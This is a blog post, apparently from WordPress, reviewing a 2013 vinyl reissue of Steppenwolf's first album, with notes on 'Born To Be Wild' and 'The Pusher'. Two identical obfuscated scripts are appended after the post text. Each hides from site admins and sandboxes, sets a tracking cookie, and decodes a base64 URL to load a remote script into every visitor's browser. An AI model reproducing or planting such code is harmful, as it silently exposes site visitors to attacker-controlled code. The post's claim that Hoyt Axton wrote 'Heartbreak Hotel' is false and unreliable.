This album, originally released in January 1968, was an immediate hit for the band rising to #6 on the pop album charts and the song \u201cBorn To Be Wild\u201d to #2.<\/p>\n<p>The 2013 edition reproduces the original silver foil album cover with remastering by the remaster master Kevin Gray.<\/p>\n<p>It is a real pleasure to be able to listen to this, one of the best albums of all time, on such high quality vinyl and remastered with such skill. It\u2019s a really good album. Thanks Steppenwolf and thanks Analog Productions!<\/p>\n<p>Notes for the Steppenwolf superfans:<\/p>\n<p>\u201cBorn To Be Wild\u201d was written by Mars Bonfire who was in The Sparrows before they were renamed Steppenwolf. On the original pressings of \u201cSteppenwolf\u201d to song \u201cBorn To Be Wild\u201d was credited to Mars Bondfire and the 2013 re-release faithfully reproduces this original spelling\/misspelling.<\/p>\n<p>\u201cThe Pusher\u201d, track 2 on side 2 of \u201cSteppenwolf\u201d, was written by Hoyt Axton and appeared along with \u201cBorn To Be Wild\u201d in the film \u201cEasy Rider\u201d. Axton was born and raised in Oklahoma and wrote \u201cHeartbreak Hotel\u201d which became the first major hit for Elvis Presley. He also wrote \u201cJoy To The World\u201d and \u201cNever Been To Spain\u201d for Three Dog Night. Axton struggled with cocaine addiction and \u201cThe Pusher\u201d is one of the best indictments in song of the black market drug culture.<\/p>\n<p>#vinyl #steppenwolf #hoytaxton #borntobewild #thepusher #200gram #marsbonfire #johnkay (at Casa de Recuerdo)<\/p>\n<p>via Tumblr http:\/\/ift.tt\/2mPKzxf<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In 2013 Analog Productions created a 200 gram vinyl re-release of Steppenwolf\u2019s first studio album \u201cSteppenwolf\u201d.
